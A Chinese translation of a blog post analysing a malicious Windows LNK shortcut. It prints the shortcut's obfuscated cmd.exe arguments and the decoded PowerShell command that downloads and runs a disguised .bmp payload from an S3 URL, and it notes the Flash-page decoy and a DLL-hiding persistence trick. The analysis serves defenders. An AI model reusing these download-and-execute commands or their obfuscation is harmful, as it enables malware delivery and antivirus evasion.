原文地址:https://dexters-lab.net/2019/02/16/analyzing-the-windows-lnk-file-attack-method/
最近我的一个朋友分享了一个有趣的恶意样本,它是一个windows快捷方式文件(LNK文件),点击(执行)后导致感染,虽然我在谷歌的基础研究之前我不知道这种类型的攻击,自2017年以来,这种类型的攻击有所增加,我感到很惊讶。在这篇文章中,我们将分析LNK文件恶意软件并揭示攻击者如何使用多层混淆来逃避AV并最终注入恶意二进制文件,我们还将研究如何对每个层进行去混淆,并了解代码正在做什么。
我们正在分析的文件是af6df15050dea1a756bb99bb0597d7072c2aee4c
我对这个特定样本感兴趣的原因是这个文件看起来很正常。作为一个快捷方式文件,它对普通用户来说并不可疑,因为该文件不是EXE。接下来,当用户单击文件时,会弹出一个浏览器窗口,它会打开链接https://get.adobe.com/br/flashplayer/,这会让用户认为他的系统中缺少一个flash插件,这就是为什么他无法打开/执行该文件,但一旦他安装了Flash播放器,当他再次尝试打开文件并意识到它只是一个垃圾文件时,已经太晚了。
但在藏在这看似平常背后,实际上它通过shell命令执行Powershell命令来下载下一阶段的Powershell脚本,该脚本主要功能是下载。它将下载的文件是一个BMP文件,看起来是一个正常的图像文件,但它实际上是一个伪装的Powershell文件。
LNK是Microsoft Windows用于指向可执行文件或应用程序的快捷方式文件的文件扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。LNK代表LiNK。LNK文件可以通过更改图标伪装成合法文档。
以下是一般文件属性的外观。
看一下Shortcut选项卡会给我们提供更多细节,下面是它的样子。
正如您在target字段中所看到的,它使用一些参数指向yo命令提示符可执行文件。这个命令将在执行这个LNK文件时运行。但这不是全部的命令。
快捷方式>目标的最大长度只有260个字符。任何超过这个长度的东西都是不可见的。但是,命令行参数的最大长度是4096个字符,因此我们无法在上面的窗口中看到整个命令。我使用了另一个工具来提取整个命令。
使用LNK文件分析工具,我们可以设法获得整个嵌入式命令,如下所示
LNK文件的上述提取属性中感兴趣的字段是:
键 | 值 |
---|---|
相对路径 | ........\Windows\system32\cmd.exe |
工作目录 | %SystemRoot%\System32 |
参数 | /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&… |
让我们仔细看看Arguments字段,如下所示:
c:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com&& echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/ &&set aZM4j3ZhPLBn9MpuxaO= -win 1 &&set MlyavWfE=ndows&&set jA8Axao1xcZ=iEx&&set WMkgA3uXa1pXx=tRi&&set KNhGmAqHG5=bJe&&set 4kxhaz6bqqKC=LOad&&set rwZCnSC7T=nop&&set jcCvC=NEw&&set ZTVZ=wEbc&&set DABThzRuTT2hYjVOy=nt).dow&&set cwdOsPOdA08SZaXVp1eFR=t NeT.&&set Rb=Ers&&set j4HfRAqYXcRZ3R=hEll&&set Kpl01SsXY5tthb1=.bmp&&set vh7q6Aq0zZVLclPm=\v1.0\&&set 2Mh=pOw&&set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%&&@echo off && %SystemDrive% && cd\ && cd %SystemRoot%\System32 &&echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! -
清理上面混乱的命令,它只是一系列shell命令,如下所示。
set x4OAGWfxlES02z6NnUkK=2whttpr0
set L1U03HmUO6B9IcurCNNlo4=.com
echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/
set aZM4j3ZhPLBn9MpuxaO= -win 1
set MlyavWfE=ndows
set jA8Axao1xcZ=iEx
set WMkgA3uXa1pXx=tRi
set KNhGmAqHG5=bJe
set 4kxhaz6bqqKC=LOad
set rwZCnSC7T=nop
set jcCvC=NEw
set ZTVZ=wEbc
set DABThzRuTT2hYjVOy=nt).dow
set cwdOsPOdA08SZaXVp1eFR=t NeT.
set Rb=Ers
set j4HfRAqYXcRZ3R=hEll
set Kpl01SsXY5tthb1=.bmp
set vh7q6Aq0zZVLclPm=\\v1.0\\
set 2Mh=pOw
set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%
@echo off
%SystemDrive%
cd\\
cd %SystemRoot%\\System32
echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG('%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%')"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\\Internet Explorer\\iexplore.exe
每一行都是shell命令。第一行是设置一些变量,然后在第3行,最后一行使用这些变量来组装这些变量并执行它们。这种组装和反汇编变量名的方法使代码更难阅读。
上面混淆的shell脚本解码为以下两个命令:
C:\Windows\system32\cmd.exe /V /C set x4OAGWfxlES02z6NnUkK=2whttpr0&&set L1U03HmUO6B9IcurCNNlo4=.com && echo | start get.adobe.com/br/flashplayer/
此命令在浏览器窗口中打开adobe flashplayer安装页面。echo iEx("iEx(New-Object Net.WebClient).DownloadString('hxxps://s3-eu-west-1.amazonaws.com/juremasobra2/jureklarj934t9oi4.bmp')"); | WindowsPowershell\v1.0\Powershell -nop -win 1 --%ProgramFiles%\\Internet Explorer\\iexplore.exe
这个命令实际下载了第二层Powershell,该文件伪装成URL中的BMP文件由上面的LNK文件下载的Powershell脚本可以在此链接 fd60a8b790b42f0c416c28e4ad22dc317ad8fbc5 上找到,它被严重混淆,使用ISESteriods进行混淆。我确实设法解码脚本,可以在此链接上找到可读代码。
执行脚本执行以下操作:
通过上述持久性,技术攻击者试图将其恶意DLL二进制文件隐藏在合法二进制文件后面。
可以在此链接上找到有关此持久性机制的更多信息